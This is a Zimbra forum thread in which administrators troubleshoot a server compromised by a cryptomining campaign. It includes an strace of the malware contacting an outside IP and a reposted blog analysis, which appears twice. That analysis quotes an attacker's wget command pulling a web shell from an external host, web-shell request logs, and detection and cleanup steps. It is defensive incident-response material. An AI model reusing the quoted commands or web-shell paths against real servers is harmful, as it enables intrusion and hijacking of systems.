Hello we have a zimbra multi server install 8.6.0 version
Today we found a "dblaunchs" process using all of the CPU .
We also found an sh process running the code fro mthis pastebin https://pastebin.com/uJj5zUEx
The synmptoms seem to point to something similar to what is described here: https://confluence.atlassian.com/doc/co ... 1556607869 indicating it is related to a webdav vulnerability.
First question is: how do we disable webdav at least temporary ? We also have another installation and we would like to secure this one before it gets compromised.
Whe also found some code in /opt/zimbra/jetty/work/zimbra/org/apache/jsp/downloads/ folder which seems to execute the sh script above; how does this code get executed? These files have a modified date of some hours ago corresponding to the proxy log entry corresponding to these files but they have been executed also recently
Thanks for your help,
at your disposal for further information.
Luca
downloads folder compromised dblaunchs malware
Re: downloads folder compromised dblaunchs malware
Apart from the fact you're running an old version of ZCS (you should upgrade), have you read the extensive forum threads on this hack?
Re: downloads folder compromised dblaunchs malware
I'm having the same trouble today.
I've shut off Briefcase functionality for the time being(I started testing this last week and believe it might be how it got in?)
We're on the same version of Zimbra as OP, would upgrading Zimbra as suggested fix this from executing? Or is there more cleanup involved here?
I can kill the "dblaunchs" process but it keeps coming back a few seconds later.
Any ideas how to kill it for good?
-Joe
I've shut off Briefcase functionality for the time being(I started testing this last week and believe it might be how it got in?)
We're on the same version of Zimbra as OP, would upgrading Zimbra as suggested fix this from executing? Or is there more cleanup involved here?
I can kill the "dblaunchs" process but it keeps coming back a few seconds later.
Any ideas how to kill it for good?
-Joe
Re: downloads folder compromised dblaunchs malware
Alright so, my temporary workaround for this until I get a reply and we get rolling on how to actually deal with this problem:josephw wrote:I'm having the same trouble today.
I've shut off Briefcase functionality for the time being(I started testing this last week and believe it might be how it got in?)
We're on the same version of Zimbra as OP, would upgrading Zimbra as suggested fix this from executing? Or is there more cleanup involved here?
I can kill the "dblaunchs" process but it keeps coming back a few seconds later.
Any ideas how to kill it for good?
-Joe
Background: We use Jenkins server to automate .sh scripts that run GhettoVCB for VM backups off the server running Zimbra.
-I copied a job that runs the GhettoVCB.sh backup script and changed it to ssh directly into the mail server instead of the ESXi host it lives on.
-I changed the GhettoVCB.sh to my own script 'HK.sh'(HK for "Hunter Killer")
-This script is very simple:
"pkill dblaunchs" (without quotes)
-I scheduled Jenkins to run this script every 1 minute
Current status:
1. dblaunchs is running on the server sapping processor power
2. Jenkins transfers the HK.sh script to the Zimbra server and runs it
3. The HK.sh script finds the PID of dblaunchs and kills it
4. Some time later an unknown part of the dblaunchs malware detects that dblaunchs isn't running and restarts it
5. Jenkins runs the kill process over again every minute effectively killing dblaunchs before it can sap away too much processor power.
I'm proud of myself but the infection still remains.
Any ideas on how to actually CLEAN this off zimbra?
Thanks!
-Joe
-
mtcocktail
- Posts: 3
- Joined: Wed May 01, 2019 7:35 am
Re: downloads folder compromised dblaunchs malware
I have the same trouble yesterday and today on two different server. process dblaunchs is launch at the same time 00:30 today.
-
mtcocktail
- Posts: 3
- Joined: Wed May 01, 2019 7:35 am
Re: downloads folder compromised dblaunchs malware
strace of pid dblaunch see this on loop....
connect(11, {sa_family=AF_INET, sin_port=htons(3333), sin_addr=inet_addr("178.128.242.134")}, 16) = -1 EINPROGRESS (Ope
ration now in progress)
epoll_ctl(0, EPOLL_CTL_ADD, 11, {EPOLLOUT, {u32=11, u64=11}}) = 0
epoll_pwait(0, [], 1024, 13, NULL, 8) = 0
epoll_pwait(0, [], 1024, 500, NULL, 8) = 0
epoll_pwait(0, [{EPOLLOUT|EPOLLERR|EPOLLHUP, {u32=11, u64=11}}], 1024, 485, NULL, 8) = 1
getsockopt(11, SOL_SOCKET, SO_ERROR, [111], [4]) = 0
epoll_ctl(0, EPOLL_CTL_DEL, 11, 0x7ffe55873630) = 0
close(11) = 0
epoll_pwait(0, [], 1024, 15, NULL, 8) = 0
epoll_pwait(0, [], 1024, 500, NULL, 8) = 0
epoll_pwait(0, [], 1024, 484, NULL, 8) = 0
epoll_pwait(0, [], 1024, 16, NULL, 8) = 0
epoll_pwait(0, [], 1024, 500, NULL, 8) = 0
epoll_pwait(0, [], 1024, 483, NULL, 8) = 0
futex(0x892644, FUTEX_WAKE_OP_PRIVATE, 1, 1, 0x892640, {FUTEX_OP_SET, 0, FUTEX_OP_CMP_GT, 1}) = 1
futex(0x892600, FUTEX_WAKE_PRIVATE, 1) = 1
epoll_pwait(0, [], 1024, 16, NULL, 8) = 0
epoll_pwait(0, [{EPOLLIN, {u32=7, u64=7}}], 1024, 500, NULL, 8) = 1
read(7, "\1\0\0\0\0\0\0\0", 1024) = 8
socket(PF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 11
setsockopt(11, SOL_TCP, TCP_NODELAY, [1], 4) = 0
setsockopt(11, SOL_SOCKET, SO_KEEPALIVE, [1], 4) = 0
setsockopt(11, SOL_TCP, TCP_KEEPIDLE, [60], 4) = 0
connect(11, {sa_family=AF_INET, sin_port=htons(3333), sin_addr=inet_addr("178.128.242.134")}, 16) = -1 EINPROGRESS (Operation now in pr
ogress)
epoll_ctl(0, EPOLL_CTL_ADD, 11, {EPOLLOUT, {u32=11, u64=11}}) = 0
epoll_pwait(0, [], 1024, 486, NULL, 8) = 0
epoll_pwait(0, [], 1024, 484, NULL, 8) = 0
epoll_pwait(0, [], 1024, 15, NULL, 8) = 0
epoll_pwait(0, [{EPOLLOUT|EPOLLERR|EPOLLHUP, {u32=11, u64=11}}], 1024, 500, NULL, 8) = 1
getsockopt(11, SOL_SOCKET, SO_ERROR, [111], [4]) = 0
epoll_ctl(0, EPOLL_CTL_DEL, 11, 0x7ffe55873630) = 0
close(11) = 0
epoll_pwait(0, [], 1024, 489, NULL, 8) = 0
epoll_pwait(0, [], 1024, 485, NULL, 8) = 0
epoll_pwait(0, [], 1024, 14, NULL, 8) = 0
epoll_pwait(0, [], 1024, 500, NULL, 8) = 0
epoll_pwait(0, [], 1024, 485, NULL, 8) = 0
futex(0x892644, FUTEX_WAKE_OP_PRIVATE, 1, 1, 0x892640, {FUTEX_OP_SET, 0, FUTEX_OP_CMP_GT, 1}) = 1
futex(0x892600, FUTEX_WAKE_PRIVATE, 1) = 1
epoll_pwait(0, [{EPOLLIN, {u32=7, u64=7}}], 1024, 14, NULL, 8) = 1
read(7, "\1\0\0\0\0\0\0\0", 1024) = 8
socket(PF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 11
setsockopt(11, SOL_TCP, TCP_NODELAY, [1], 4) = 0
setsockopt(11, SOL_SOCKET, SO_KEEPALIVE, [1], 4) = 0
setsockopt(11, SOL_TCP, TCP_KEEPIDLE, [60], 4) = 0
connect(11, {sa_family=AF_INET, sin_port=htons(3333), sin_addr=inet_addr("178.128.242.134")}, 16) = -1 EINPROGRESS (Ope
ration now in progress)
epoll_ctl(0, EPOLL_CTL_ADD, 11, {EPOLLOUT, {u32=11, u64=11}}) = 0
epoll_pwait(0, [], 1024, 13, NULL, 8) = 0
epoll_pwait(0, [], 1024, 500, NULL, 8) = 0
epoll_pwait(0, [{EPOLLOUT|EPOLLERR|EPOLLHUP, {u32=11, u64=11}}], 1024, 485, NULL, 8) = 1
getsockopt(11, SOL_SOCKET, SO_ERROR, [111], [4]) = 0
epoll_ctl(0, EPOLL_CTL_DEL, 11, 0x7ffe55873630) = 0
close(11) = 0
epoll_pwait(0, [], 1024, 15, NULL, 8) = 0
epoll_pwait(0, [], 1024, 500, NULL, 8) = 0
epoll_pwait(0, [], 1024, 484, NULL, 8) = 0
epoll_pwait(0, [], 1024, 16, NULL, 8) = 0
epoll_pwait(0, [], 1024, 500, NULL, 8) = 0
epoll_pwait(0, [], 1024, 483, NULL, 8) = 0
futex(0x892644, FUTEX_WAKE_OP_PRIVATE, 1, 1, 0x892640, {FUTEX_OP_SET, 0, FUTEX_OP_CMP_GT, 1}) = 1
futex(0x892600, FUTEX_WAKE_PRIVATE, 1) = 1
epoll_pwait(0, [], 1024, 16, NULL, 8) = 0
epoll_pwait(0, [{EPOLLIN, {u32=7, u64=7}}], 1024, 500, NULL, 8) = 1
read(7, "\1\0\0\0\0\0\0\0", 1024) = 8
socket(PF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 11
setsockopt(11, SOL_TCP, TCP_NODELAY, [1], 4) = 0
setsockopt(11, SOL_SOCKET, SO_KEEPALIVE, [1], 4) = 0
setsockopt(11, SOL_TCP, TCP_KEEPIDLE, [60], 4) = 0
connect(11, {sa_family=AF_INET, sin_port=htons(3333), sin_addr=inet_addr("178.128.242.134")}, 16) = -1 EINPROGRESS (Operation now in pr
ogress)
epoll_ctl(0, EPOLL_CTL_ADD, 11, {EPOLLOUT, {u32=11, u64=11}}) = 0
epoll_pwait(0, [], 1024, 486, NULL, 8) = 0
epoll_pwait(0, [], 1024, 484, NULL, 8) = 0
epoll_pwait(0, [], 1024, 15, NULL, 8) = 0
epoll_pwait(0, [{EPOLLOUT|EPOLLERR|EPOLLHUP, {u32=11, u64=11}}], 1024, 500, NULL, 8) = 1
getsockopt(11, SOL_SOCKET, SO_ERROR, [111], [4]) = 0
epoll_ctl(0, EPOLL_CTL_DEL, 11, 0x7ffe55873630) = 0
close(11) = 0
epoll_pwait(0, [], 1024, 489, NULL, 8) = 0
epoll_pwait(0, [], 1024, 485, NULL, 8) = 0
epoll_pwait(0, [], 1024, 14, NULL, 8) = 0
epoll_pwait(0, [], 1024, 500, NULL, 8) = 0
epoll_pwait(0, [], 1024, 485, NULL, 8) = 0
futex(0x892644, FUTEX_WAKE_OP_PRIVATE, 1, 1, 0x892640, {FUTEX_OP_SET, 0, FUTEX_OP_CMP_GT, 1}) = 1
futex(0x892600, FUTEX_WAKE_PRIVATE, 1) = 1
epoll_pwait(0, [{EPOLLIN, {u32=7, u64=7}}], 1024, 14, NULL, 8) = 1
read(7, "\1\0\0\0\0\0\0\0", 1024) = 8
socket(PF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 11
setsockopt(11, SOL_TCP, TCP_NODELAY, [1], 4) = 0
setsockopt(11, SOL_SOCKET, SO_KEEPALIVE, [1], 4) = 0
setsockopt(11, SOL_TCP, TCP_KEEPIDLE, [60], 4) = 0
Re: downloads folder compromised dblaunchs malware
I've already suggested this, read the forum thread on the recent CVE for Zimbra and you'll also find details on what needs to be done to clean your server. It's always good practice to search the forums before posting, you're most likely to find an answer.mtcocktail wrote:I have the same trouble yesterday and today on two different server. process dblaunchs is launch at the same time 00:30 today.
Re: downloads folder compromised dblaunchs malware
Yo I searched 'dblaunchs' on google and using this Zimbra board's search function - it returns THIS thread. If there's something else we're looking for you should spell it out or maybe pasting a link to what you can find and other people apparently can't would be more helpful - thanks.phoenix wrote:I've already suggested this, read the forum thread on the recent CVE for Zimbra and you'll also find details on what needs to be done to clean your server. It's always good practice to search the forums before posting, you're most likely to find an answer.mtcocktail wrote:I have the same trouble yesterday and today on two different server. process dblaunchs is launch at the same time 00:30 today.
Re: downloads folder compromised dblaunchs malware
How about using the words I've mentioned in my previous posts? Try either "hack" or "cve" in the forum search and see if your problem is the same or similar to the other posts on this subject.josephw wrote:Yo I searched 'dblaunchs' on google and using this Zimbra board's search function - it returns THIS thread. If there's something else we're looking for you should spell it out or maybe pasting a link to what you can find and other people apparently can't would be more helpful - thanks.
Re: downloads folder compromised dblaunchs malware
Since this Phoenix guy's not wanting to be helpful(who just searches the word "hack" and expects to find what they're looking for? Also "the most recent CVE" won't be "the most recent" if somebody runs into this years from now and finds this thread)
This is what he's talking about but not linking to for people that come across this thread by googling 'dblaunchs':
The thread - viewtopic.php?f=15&t=65932&hilit=CVE
An article from page 8 of that thread with some removal instructions - https://lorenzo.mile.si/zimbra-cve-2019 ... ction/961/
(Might be outdated with the new version of the malware, mine lacks a folder named "zmcat" but has other characteristics of the hack)
That article in case it gets deleted in the future:
"Some days ago Zimbra posted about a security vulnerability affecting all their versions. It’s a very severe bug because it’s exploitable on the http/https ports, which means you have no other means to keep you safe but by patching your installation! Zimbra released patches for 8.8.11P3, 8.7.11P10 and 8.6.0P14 versions. Technical details on the bug are here.
Of course everyone has its own matters, and it’s not always easy to schedule a downtime, but patch installation is very quick and almost risk free (at least for the ones I did so far), so patch ASAP!
The last call is very important, because in the last days an exploit has been found actively targeting and pwning unpatched Zimbra installations!
Last but not least: the patch does fix the issue which allows the attacker to enter, but it doesn’t clean your system! If a backdoor has been uploaded the patch doesn’t wipe it, the attacker will always be able to enter again!
The exploit has been named zmcat, at least in IRC where I first learned about the exploiting campaign. The name comes from the executable being dropped on the machine, which is /tmp/zmcat. The executable appears to be a Bitcoin miner, according to Virustotal.com. Other than running this binary the exploit doesn’t seem to do any harm to the server to be noticed: no CPU activity, no IO.
zmcat is not the only file uploaded on the server. Two bash scripts, l.sh and s.sh are again in /tmp. Those two files are the download vector of the executable itself. The first run is s.sh, which fetches l.sh from 185.106.120.118. I’ve contacted HostSailor abuse department to alert them about the host spreading malware.
As said the s.sh script is used to download another bash file. Based on the user the script it’s run on it downloads l.sh for unprivileged user or r.sh for root. In our case the script is run as zimbra system user, so fetches l.sh.
l.sh is a more complex one, thus still a bit rough. It appears to be some cut&paste work, with basic bash knowledge. The main purpose of this script is to download zmcat, with a variation between 32 and 64 bit, and ensure the script itself and the executable is always running.
The first thing l.sh does is tweaking system setting /proc/sys/vm/nr_hugepages.
Then it downloads zmcat binary from the host above and places it in /tmp. When fetched it’s immediately executed.
For persistency the script tries to put itself in /etc/crontab and /etc/rc.local, but being run as zimbra user it’s not able to do it.
Other than this it places some jsp, .class and .java files in Zimbra.
Those files are used as command proxy: calling those JSP allow running server commands via GET requests. Some example commands being run are:
?
1
2
3
/opt/zimbra/bin/zmprov ca 1LiU@domain.com
wget -O /opt/zimbra/jetty/webapps/zimbra/public/jsp/ynwD.jsp http://87.236.233.105/reports/tmp.txt
/opt/zimbra/bin/zmprov da 1LiU@domain.com
zmcat detection
Detecting the infection is pretty easy: if you have some monitoring tool like Zabbix, you can automate it by checking the presence of /tmp/zmcat file. Here’s a sample template for detecting zmcat in Zabbix.
Other than this you can check Zimbra’s log files, namely mailbox.log and nginx.access.log. I.e. in nginx I found this:
104.168.158.113:48768 - - [02/Apr/2019:11:49:43 +0200] "POST /AutoDiscover/ HTTP/1.1" 503 13388 "-" "python-requests/2.9.1" "10.0.0.5:8443"
104.168.158.113:48770 - - [02/Apr/2019:11:49:45 +0200] "POST /service/soap HTTP/1.1" 200 1042 "-" "python-requests/2.9.1" "10.0.0.5:8443"
104.168.158.113:48772 - - [02/Apr/2019:11:49:47 +0200] "POST /service/proxy?target=https://127.0.0.1:7071/service/admin/soap/ HTTP/1.1" 200 1057 "-" "python-requests/2.9.1" "1
0.0.0.5:8443"
104.168.158.113:48774 - - [02/Apr/2019:11:49:49 +0200] "POST /service/extension/clientUploader/upload HTTP/1.1" 200 292 "-" "python-requests/2.9.1" "10.0.0.5:8443"
104.168.158.113:48776 - - [02/Apr/2019:11:49:51 +0200] "GET /downloads/PS1q.jsp?pwd=bduXyq HTTP/1.1" 200 468 "-" "python-requests/2.9.1" "10.0.0.5:8443"
104.168.158.113:48778 - - [02/Apr/2019:11:49:53 +0200] "POST /downloads/PS1q.jsp?pwd=bduXyq HTTP/1.1" 200 469 "-" "python-requests/2.9.1" "10.0.0.5:8443"
104.168.158.113:48780 - - [02/Apr/2019:11:49:55 +0200] "GET /img/ikDB.jsp?pwd=4BkLUS HTTP/1.1" 200 470 "-" "python-requests/2.9.1" "10.0.0.5:8443"
As you see POSTs are done against /service/proxy. While those requests might be legit, the user agent can help you discriminate exploiting attempts.
As said above the cracker also uses uploaded JSP files to execute commands on the server. You can find traces of this activities in /opt/zimbra/log/audit.log. As a blind shot you can search for downloads, and you’ll find the malicious jsp being called.
If you’re more intrigued and want to really know what has been done on your server you can go through audit.log and trace.log, you’ll find interesting things:
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
2019-03-28 06:20:57,744 INFO [qtp127618319-179157:http://1.2.3.4/service/soap] [name=zimbra;oip=212.200.106.194;port=37946;ua=ZimbraWebClient - SAF3 (Win)/5.0.15_GA_2
851.RHEL5_64;] security - cmd=Auth; account=zimbra; protocol=soap;
2019-03-28 06:20:59,144 INFO [qtp127618319-179166:https:https://localhost:7071/service/admin/soap/AuthRequest] [name=zimbra;ua=ZCS/8.7.11_GA_1854;] security - cmd=AdminAuth;
account=zimbra;
2019-03-28 06:20:59,144 INFO [qtp127618319-179166:https:https://localhost:7071/service/admin/soap/AuthRequest] [name=zimbra;ua=ZCS/8.7.11_GA_1854;] security - cmd=Auth; acco
unt=zimbra; protocol=soap;
2019-03-28 06:20:59,294 INFO [qtp127618319-179164:https:https://127.0.0.1:7071/service/admin/soap] [name=zimbra;oip=212.200.106.194;ua=ZimbraWebClient - SAF3 (Win)/5.0.15_GA_2851.RHEL5_64;] security - cmd=AdminAuth; account=zimbra;
2019-03-28 06:20:59,295 INFO [qtp127618319-179164:https:https://127.0.0.1:7071/service/admin/soap] [name=zimbra;oip=212.200.106.194;ua=ZimbraWebClient - SAF3 (Win)/5.0.15_GA_2851.RHEL5_64;] security - cmd=Auth; account=zimbra; protocol=soap;
2019-03-28 06:21:06,355 INFO [qtp127618319-179171:https:https://127.0.0.1:7071/service/admin/soap] [name=zimbra;oip=212.200.106.194;] security - cmd=CreateAccount; name=1liu@domain.com;
2019-03-28 06:21:07,976 INFO [qtp127618319-179165:http://1.2.3.4/downloads/LU4e.jsp] [] security - cmd=Auth; account=1liu@domain.com; protocol=http_basic;
2019-03-28 06:21:10,463 INFO [qtp127618319-179170:http://1.2.3.4/downloads/LU4e.jsp?cmd=w ... ts/tmp.txt] [] security - cmd=Auth; account=1liu@domain.com; protocol=http_basic;
2019-03-28 06:21:22,810 INFO [qtp127618319-179139:http://1.2.3.4/downloads/LU4e.jsp?cmd=/ ... domain.com] [] security - cmd=Auth; account=1liu@domain.com; protocol=http_basic;
Attack mitigation
The first and only valid defense is patching.
Given that I’m suggesting here a temporary solution which can help you gain time, but it’s very trivial and might be ineffective in short time.
Blocking user agent
From the log above all the automated requests come from a specific useragent: python-requests/1.1.0. By blocking this useragent you can prevent zmcat uploads.
Open /opt/zimbra/conf/nginx/templates/nginx.conf.web.http.default.template with an editor, just after the server { open bracket put the following lines:
if ($http_user_agent ~ (python-requests) ) { return 403; }
Do the same for the https template /opt/zimbra/conf/nginx/templates/nginx.conf.web.https.default.template and restart proxy service. It’s a weak test, but effective for the current campaign:
203.129.203.6:52843 - - [03/Apr/2019:17:41:01 +0200] "GET /console/login/LoginForm.jsp HTTP/1.1" 403 310 "-" "python-requests/1.1.0 CPython/2.7.5 Linux/3.10.0-121.el7.x86_64" "-"
Firewall blocking
Another mitigation is to block traffic to and from the IPs where the jsp and sh are downloaded: 87.236.233.105 and 185.106.120.118 (update: This has been taken down by Hostsailor).
Again this is very weak, payload might be easily uploaded somewhere else.
Hide from search engines
Again not totally effective, but hiding from search engines can help you not being found by automated scripts.
?
1
zmprov mcf zimbraMailKeepOutWebCrawlers TRUE +zimbraResponseHeader "X-Robots-Tag: noindex"
This doesn’t work for other engines like Shodan, but generally I keep my webmail not searchable.
Cleanup zmcat
This is a little mess. JoBbZ on IRC wrote:
I hear the “best” thing to do if you got hacked is spin up a clean, patched system, and move the mailboxes over to it
But let’s not be so dramatic. Indeed different levels of compromisation have been reported on IRC and the forums. Most of the times new files were added to Zimbra, in some original ones were touched!
I’m reporting here what I gathered from personal experience and others’ feedback. Elaborate and decide yourself what to do, take snapshots/backups/rsync before proceding and anyway do it on your own responsibility, I shall not be liable of any damage you caused to your systems!
The most secure approach in restoring a compromised server is exactly what JoBzZ said above: spin up a new server, copy over data from the bad server, turn the new one live.
Another approach is to uninstall Zimbra (keeping your data!), wipe what’s left around except configuration, store, database and then do a software only install, followed by zmsetup. This is extremely dangerous and should be done only by expert administrators.
Then there’s manual cleanup. It’s the easiest approach because it doesn’t cause downtime, but can potentially leave traces of the infection around which can be used by the attacker to re-upload its files.
To manually clean up:
first of all patch Zimbra, and/or block the python useragent from uploading the crap again;
kill all running processes of the two bash scripts and zmcat. An helpful command could be
ps faux | grep l\.sh
there might also be some wget processes running, kill them as well
delete the sh scripts and zmcat from /tmp;
now the hardest part: delete all the proxying jsp and java from /opt/zimbra.
A very handy command, posted by lfasci on the forum, is:
find /opt/zimbra/jetty/ -name "*.jsp" -mtime -15 -ls
find /opt/zimbra/jetty/ -name "*_jsp.java" -mtime -15 -ls
find /opt/zimbra/jetty/ -name "*.class" -mtime -15 -ls
This will find all the JSP and JAVA files updated within the last 15 days. If you applied the patch in this timeframe some legit classes will show up, but compromised ones are quite easy to detect: the file name is four characters long and with random bits. From the log above you can spot downloads/LU4e.jsp, public/jsp/ynwD.jsp, downloads/PS1q.jsp.
This is a manual process, unless you want to extract all the matching jsp pattern from the logs. Instead of deleting move the files to a temporary directory. To make sure they’re not Zimbra official files you can open them: if they look crap, all the code in one line without newlines, 99% it has to be moved away.
Remember to restart zimbra after cleaning up class and jsp files.
Another automated check could be to compare the JSPs with the txt downloaded from 87[.]236.233.105 (the IP you find in the logs);
again lfasci notices you might find a file named ZimbraApps.jsp: this is not part of Zimbra but it’s a file browser extensions (jspbrowser), which can potentially allow an attacker to browse your filesystem (again as zimbra user);
verifying original Zimbra files can be done using package managers. In Ubuntu you can:
apt install debsums
dpkg -l zimbra* | grep ^ii | awk '{print $2}' | xargs debsums -c
In RHEL/CentOS:
rpm -qa zimbra* | xargs rpm -qV - | egrep -E '^.{2}5'
The commands above will print all the files which MD5 is different from the one installed by packages. Some changes might be legit, so you have to manually inspect the files to see if they’re valid or not.
After cleanup it’s always a good idea to change LDAP password using zmldappasswd.
As the attacker can potentially have access to all zimbra files, he could have stolen ssh identity file and/or have set a password for the zimbra user, so he can ssh into the system later. Do:
check with last or last -f /var/log/wtmp for unexpected logins;
check /var/log/auth.log or /var/log/secure for remote ssh logins for zimbra user;
check /etc/shadow if the zimbra user has a password set: it should not.
If you feel your keys can be compromised you can regenerate them with:
su - zimbra
zmsshkeygen
zmupdateauthkeys
I hope this will help others. If you have improvements or corrections please let me know.
UPDATE 0900 CEST: Hostsailor replied me they blocked the host delivering zmcat binaries!
UPDATE 2023 CEST: added more details on the file and on how to find malicious JSP files
UPDATE apr 9th: added *_jsp.java files find as per Israeru comment
UPDATE apr 12th: added package MD5 verification and other recovery methods
UPDATE apr 26th: link to 8.6P14, added advices for potential ssh logins."
This is what he's talking about but not linking to for people that come across this thread by googling 'dblaunchs':
The thread - viewtopic.php?f=15&t=65932&hilit=CVE
An article from page 8 of that thread with some removal instructions - https://lorenzo.mile.si/zimbra-cve-2019 ... ction/961/
(Might be outdated with the new version of the malware, mine lacks a folder named "zmcat" but has other characteristics of the hack)
That article in case it gets deleted in the future:
"Some days ago Zimbra posted about a security vulnerability affecting all their versions. It’s a very severe bug because it’s exploitable on the http/https ports, which means you have no other means to keep you safe but by patching your installation! Zimbra released patches for 8.8.11P3, 8.7.11P10 and 8.6.0P14 versions. Technical details on the bug are here.
Of course everyone has its own matters, and it’s not always easy to schedule a downtime, but patch installation is very quick and almost risk free (at least for the ones I did so far), so patch ASAP!
The last call is very important, because in the last days an exploit has been found actively targeting and pwning unpatched Zimbra installations!
Last but not least: the patch does fix the issue which allows the attacker to enter, but it doesn’t clean your system! If a backdoor has been uploaded the patch doesn’t wipe it, the attacker will always be able to enter again!
The exploit has been named zmcat, at least in IRC where I first learned about the exploiting campaign. The name comes from the executable being dropped on the machine, which is /tmp/zmcat. The executable appears to be a Bitcoin miner, according to Virustotal.com. Other than running this binary the exploit doesn’t seem to do any harm to the server to be noticed: no CPU activity, no IO.
zmcat is not the only file uploaded on the server. Two bash scripts, l.sh and s.sh are again in /tmp. Those two files are the download vector of the executable itself. The first run is s.sh, which fetches l.sh from 185.106.120.118. I’ve contacted HostSailor abuse department to alert them about the host spreading malware.
As said the s.sh script is used to download another bash file. Based on the user the script it’s run on it downloads l.sh for unprivileged user or r.sh for root. In our case the script is run as zimbra system user, so fetches l.sh.
l.sh is a more complex one, thus still a bit rough. It appears to be some cut&paste work, with basic bash knowledge. The main purpose of this script is to download zmcat, with a variation between 32 and 64 bit, and ensure the script itself and the executable is always running.
The first thing l.sh does is tweaking system setting /proc/sys/vm/nr_hugepages.
Then it downloads zmcat binary from the host above and places it in /tmp. When fetched it’s immediately executed.
For persistency the script tries to put itself in /etc/crontab and /etc/rc.local, but being run as zimbra user it’s not able to do it.
Other than this it places some jsp, .class and .java files in Zimbra.
Those files are used as command proxy: calling those JSP allow running server commands via GET requests. Some example commands being run are:
?
1
2
3
/opt/zimbra/bin/zmprov ca 1LiU@domain.com
wget -O /opt/zimbra/jetty/webapps/zimbra/public/jsp/ynwD.jsp http://87.236.233.105/reports/tmp.txt
/opt/zimbra/bin/zmprov da 1LiU@domain.com
zmcat detection
Detecting the infection is pretty easy: if you have some monitoring tool like Zabbix, you can automate it by checking the presence of /tmp/zmcat file. Here’s a sample template for detecting zmcat in Zabbix.
Other than this you can check Zimbra’s log files, namely mailbox.log and nginx.access.log. I.e. in nginx I found this:
104.168.158.113:48768 - - [02/Apr/2019:11:49:43 +0200] "POST /AutoDiscover/ HTTP/1.1" 503 13388 "-" "python-requests/2.9.1" "10.0.0.5:8443"
104.168.158.113:48770 - - [02/Apr/2019:11:49:45 +0200] "POST /service/soap HTTP/1.1" 200 1042 "-" "python-requests/2.9.1" "10.0.0.5:8443"
104.168.158.113:48772 - - [02/Apr/2019:11:49:47 +0200] "POST /service/proxy?target=https://127.0.0.1:7071/service/admin/soap/ HTTP/1.1" 200 1057 "-" "python-requests/2.9.1" "1
0.0.0.5:8443"
104.168.158.113:48774 - - [02/Apr/2019:11:49:49 +0200] "POST /service/extension/clientUploader/upload HTTP/1.1" 200 292 "-" "python-requests/2.9.1" "10.0.0.5:8443"
104.168.158.113:48776 - - [02/Apr/2019:11:49:51 +0200] "GET /downloads/PS1q.jsp?pwd=bduXyq HTTP/1.1" 200 468 "-" "python-requests/2.9.1" "10.0.0.5:8443"
104.168.158.113:48778 - - [02/Apr/2019:11:49:53 +0200] "POST /downloads/PS1q.jsp?pwd=bduXyq HTTP/1.1" 200 469 "-" "python-requests/2.9.1" "10.0.0.5:8443"
104.168.158.113:48780 - - [02/Apr/2019:11:49:55 +0200] "GET /img/ikDB.jsp?pwd=4BkLUS HTTP/1.1" 200 470 "-" "python-requests/2.9.1" "10.0.0.5:8443"
As you see POSTs are done against /service/proxy. While those requests might be legit, the user agent can help you discriminate exploiting attempts.
As said above the cracker also uses uploaded JSP files to execute commands on the server. You can find traces of this activities in /opt/zimbra/log/audit.log. As a blind shot you can search for downloads, and you’ll find the malicious jsp being called.
If you’re more intrigued and want to really know what has been done on your server you can go through audit.log and trace.log, you’ll find interesting things:
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
2019-03-28 06:20:57,744 INFO [qtp127618319-179157:http://1.2.3.4/service/soap] [name=zimbra;oip=212.200.106.194;port=37946;ua=ZimbraWebClient - SAF3 (Win)/5.0.15_GA_2
851.RHEL5_64;] security - cmd=Auth; account=zimbra; protocol=soap;
2019-03-28 06:20:59,144 INFO [qtp127618319-179166:https:https://localhost:7071/service/admin/soap/AuthRequest] [name=zimbra;ua=ZCS/8.7.11_GA_1854;] security - cmd=AdminAuth;
account=zimbra;
2019-03-28 06:20:59,144 INFO [qtp127618319-179166:https:https://localhost:7071/service/admin/soap/AuthRequest] [name=zimbra;ua=ZCS/8.7.11_GA_1854;] security - cmd=Auth; acco
unt=zimbra; protocol=soap;
2019-03-28 06:20:59,294 INFO [qtp127618319-179164:https:https://127.0.0.1:7071/service/admin/soap] [name=zimbra;oip=212.200.106.194;ua=ZimbraWebClient - SAF3 (Win)/5.0.15_GA_2851.RHEL5_64;] security - cmd=AdminAuth; account=zimbra;
2019-03-28 06:20:59,295 INFO [qtp127618319-179164:https:https://127.0.0.1:7071/service/admin/soap] [name=zimbra;oip=212.200.106.194;ua=ZimbraWebClient - SAF3 (Win)/5.0.15_GA_2851.RHEL5_64;] security - cmd=Auth; account=zimbra; protocol=soap;
2019-03-28 06:21:06,355 INFO [qtp127618319-179171:https:https://127.0.0.1:7071/service/admin/soap] [name=zimbra;oip=212.200.106.194;] security - cmd=CreateAccount; name=1liu@domain.com;
2019-03-28 06:21:07,976 INFO [qtp127618319-179165:http://1.2.3.4/downloads/LU4e.jsp] [] security - cmd=Auth; account=1liu@domain.com; protocol=http_basic;
2019-03-28 06:21:10,463 INFO [qtp127618319-179170:http://1.2.3.4/downloads/LU4e.jsp?cmd=w ... ts/tmp.txt] [] security - cmd=Auth; account=1liu@domain.com; protocol=http_basic;
2019-03-28 06:21:22,810 INFO [qtp127618319-179139:http://1.2.3.4/downloads/LU4e.jsp?cmd=/ ... domain.com] [] security - cmd=Auth; account=1liu@domain.com; protocol=http_basic;
Attack mitigation
The first and only valid defense is patching.
Given that I’m suggesting here a temporary solution which can help you gain time, but it’s very trivial and might be ineffective in short time.
Blocking user agent
From the log above all the automated requests come from a specific useragent: python-requests/1.1.0. By blocking this useragent you can prevent zmcat uploads.
Open /opt/zimbra/conf/nginx/templates/nginx.conf.web.http.default.template with an editor, just after the server { open bracket put the following lines:
if ($http_user_agent ~ (python-requests) ) { return 403; }
Do the same for the https template /opt/zimbra/conf/nginx/templates/nginx.conf.web.https.default.template and restart proxy service. It’s a weak test, but effective for the current campaign:
203.129.203.6:52843 - - [03/Apr/2019:17:41:01 +0200] "GET /console/login/LoginForm.jsp HTTP/1.1" 403 310 "-" "python-requests/1.1.0 CPython/2.7.5 Linux/3.10.0-121.el7.x86_64" "-"
Firewall blocking
